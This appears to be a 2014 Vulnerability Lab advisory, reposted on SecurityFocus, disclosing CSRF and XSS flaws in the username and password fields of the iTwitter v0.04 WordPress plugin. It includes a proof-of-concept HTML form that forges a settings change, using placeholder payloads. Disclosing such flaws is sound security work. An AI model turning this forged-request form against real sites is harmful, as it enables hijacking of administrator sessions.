iTwitter v0.04 WP Plugin - XSS & CSRF Web Vulnerability Dec 18 2014 12:43PM
Vulnerability Lab (research vulnerability-lab com)
Document Title:
iTwitter v0.04 WP Plugin - XSS & CSRF Web Vulnerability

References (Source):



Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:

Abstract Advisory Information:
The independent Vulnerability Laboratory Researcher (Manideep K.) discovered a cross site request forgery issue and a cross site vulnerability in the iTwitter v0.04 wordpress plugin.

Vulnerability Disclosure Timeline:
2014-11-07: Author Notification (Manideep K.)
2014-12-15: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Product: iTwitter - Wordpress Plugin 0.04

Exploitation Technique:

Severity Level:

Technical Details & Description:
A client-side cross site request forgery issue and a cross site scripting vulnerability has been discovered in the iTwitter 0.04 Wordpress Plugin.
The client-side cross site request forgery vulnerability allows remote attackers to force client-side requests to execute application functions.
The client-side cross site scripting vulnerability allows remote attackers to inject malicious script codes to compromise administrator session data.

The xss vulnerability is located in the username and userpass values of the iTwitter.php file POST method request. Remote attackers are able to inject
malicious script codes to the client-side application request. The csrf vulnerability is located in the same value request and allows to request the
account session data. Both issues are only exploitable on the client-side of the application and the request method to inject is POST.

The security risk of the client-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 2.5.
Exploitation of the client-side web vulnerability requires no privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerabilities result in non-persistent phishing mails, session hijacking, non-persistent external redirect
to malicious sources and client-side manipulation of affected or connected module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Settings

Vulnerable Parameter(s):
[+] username
[+] userpass

Affected Module(s):
[+] iTwitter.php

Proof of Concept (PoC):
The client-side cross site request forgery issue and a cross site scripting vulnerability can be exploited by remote attackers with low or medium user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerabilities ...
You can use the following exploit code to verify the vulnerability. Save the code as .html.
The malicious page needs to be surfed by a non expired administrator session to take over the user session data.

PoC: iTwitter.php

<form action="http://localhost:8080/wordpress/wp-admin/options-general.php?pag
e=iTwitter.php" method="POST">
<input type="hidden" name="itex_t_twitter_username" value="[csrf testing]&[xss testing]" />
<input type="hidden" name="itex_t_twitter_userpass" value="[csrf testing]&[xss testing]" />
<input type="hidden" name="itex_t_cache_enable" value="0" />
<input type="hidden" name="itex_t_cache_time" value="3600" />
<input type="hidden" name="itex_t_cache_where" value="0" />
<input type="hidden" name="itex_t_cache_file" value="C:\wamp\www\wordpress\wp-content\plugins\itwitter\iTwitterCacheFi
le.txt" />
<input type="hidden" name="global_debugenable" value="0" />
<input type="hidden" name="global_debugenable_forall" value="0" />
<input type="hidden" name="global_widget" value="0" />
<input type="hidden" name="global_collapse" value="1" />
<input type="hidden" name="itex_t_shorturls_service" value="random" />
<input type="hidden" name="itex_t_post2twitter_enable" value="0" />
<input type="hidden" name="itex_t_post2twitter_template" value="%title% %excerpt% %url%" />
<input type="hidden" name="itex_t_replace_links_enable" value="0" />
<input type="hidden" name="itex_t_last_tweets_enable" value="0" />
<input type="hidden" name="itex_t_last_tweets_users" value="" />
<input type="hidden" name="itex_t_last_tweets_pos" value="footer" />
<input type="hidden" name="info_update" value="Save Changes" />
<input type="submit" value="Submit request" />


Solution - Fix & Patch:
2014-11-24: WP Team action taken by closing the plugin and service

Security Risk:
The security risk of the cross site request forgery and cross site scripting vulnerability is estimated as medium. (CVSS 2.5)

Credits & Authors:
Manideep K. - Information Security Researcher [https://in.linkedin.com/in/manideepk]

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin (at) vulnerability-lab (dot) com [email concealed] - research (at) vulnerability-lab (dot) com [email concealed] - admin (at) evolution-sec (dot) com [email concealed]
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin (at) vulnerability-lab (dot) com [email concealed] or research (at) vulnerability-lab (dot) com [email concealed]) to get a permission.

Copyright © 2014 | Vulnerability Laboratory - [Evolution Security GmbH]�

SERVICE: www.vulnerability-lab.com
CONTACT: research (at) vulnerability-lab (dot) com [email concealed]
PGP KEY: http://www.vulnerability-lab.com/keys/admin (at) vulnerability-lab (dot) com [email concealed]%280x19

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus